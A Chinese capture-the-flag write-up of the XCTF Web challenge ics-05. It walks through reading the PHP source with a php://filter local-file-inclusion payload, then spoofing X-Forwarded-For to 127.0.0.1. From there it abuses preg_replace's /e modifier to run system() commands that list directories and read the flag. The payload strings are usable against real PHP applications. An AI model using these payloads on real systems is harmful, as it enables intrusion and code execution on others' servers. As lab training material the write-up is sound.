攻防世界-Web-ics-05

題目信息


知識點:
文件包含漏洞
PHP僞協議中的 php://filter
preg_replace函數引發的命令執行漏洞

解析
打開題目場景以後,只有一個index.php的頁面能點開,並且頁面沒有顯示完全,該頁面很可疑。
查看源碼發現?page=index,出現page這個get參數,聯想到可能存在文件包含讀源碼的漏洞


嘗試讀取index.php的頁面源碼,通過php內置協議直接讀取代碼

?page=php://filter/read=convert.base64-encode/resource=index.php

LFI漏洞的黑盒判斷方法:
單純的從URL判斷的話,URL中path、dir、file、pag、page、archive、p、eng、語言文件等相關關鍵字眼的時候,可能存在文件包含漏洞。

base64解密之後,審計源碼,分析得到如下關鍵部分

<?php

//方便的實現輸入輸出的功能,正在開發中的功能,只能內部人員測試

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

    echo "<br >Welcome My Admin ! <br >";

    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];

    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }

}

?>

preg_replace函數

函數作用:搜索subject中匹配pattern的部分, 以replacement進行替換。
$pattern: 要搜索的模式,可以是字符串或一個字符串數組。
$replacement: 用於替換的字符串或字符串數組。
$subject: 要搜索替換的目標字符串或字符串數組。

preg_replace函數存在命令執行漏洞
此處明顯考察的是preg_replace 函數使用 /e模式,導致代碼執行的問題。

/e 修正符使 preg_replace() 將 replacement 參數當作 PHP 代碼(在適當的逆向引用替換完之後)。提示:要確保 replacement 構成一個合法的 PHP 代碼字符串,否則 PHP 會在報告在包含 preg_replace() 的行中出現語法解析錯誤。

也就是說,pat和sub有相同部分,rep的代碼就會執行。

根據源碼分析X-Forwarded-For改成127.0.0.1之後,GET進三個參數。然後調用了preg_replace函數。並且沒有對pat進行過濾,所以可以傳入"/e"觸發漏洞
我首先執行一下phpinfo()


果然成功執行
然後使用system("ls")嘗試獲取文件目錄

使用cd進入目標文件,並查看該文件夾下文件system("cd%20s3chahahaDir%26%26+ls")
此處不能使用空格隔開,可用%20或者+代替,%26%26&&&&意思是當前面命令執行成功時,繼續執行後面的命令。


看到flag文件
繼續進入查看system("cd%20s3chahahaDir/flag%26%26+ls")

看到flag.php,使用cat命令查看flag.php中的內容

得到flag
慎用preg_replace危險的/e修飾符(一句話後門常用)
php LFI讀php文件源碼以及直接post webshell

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章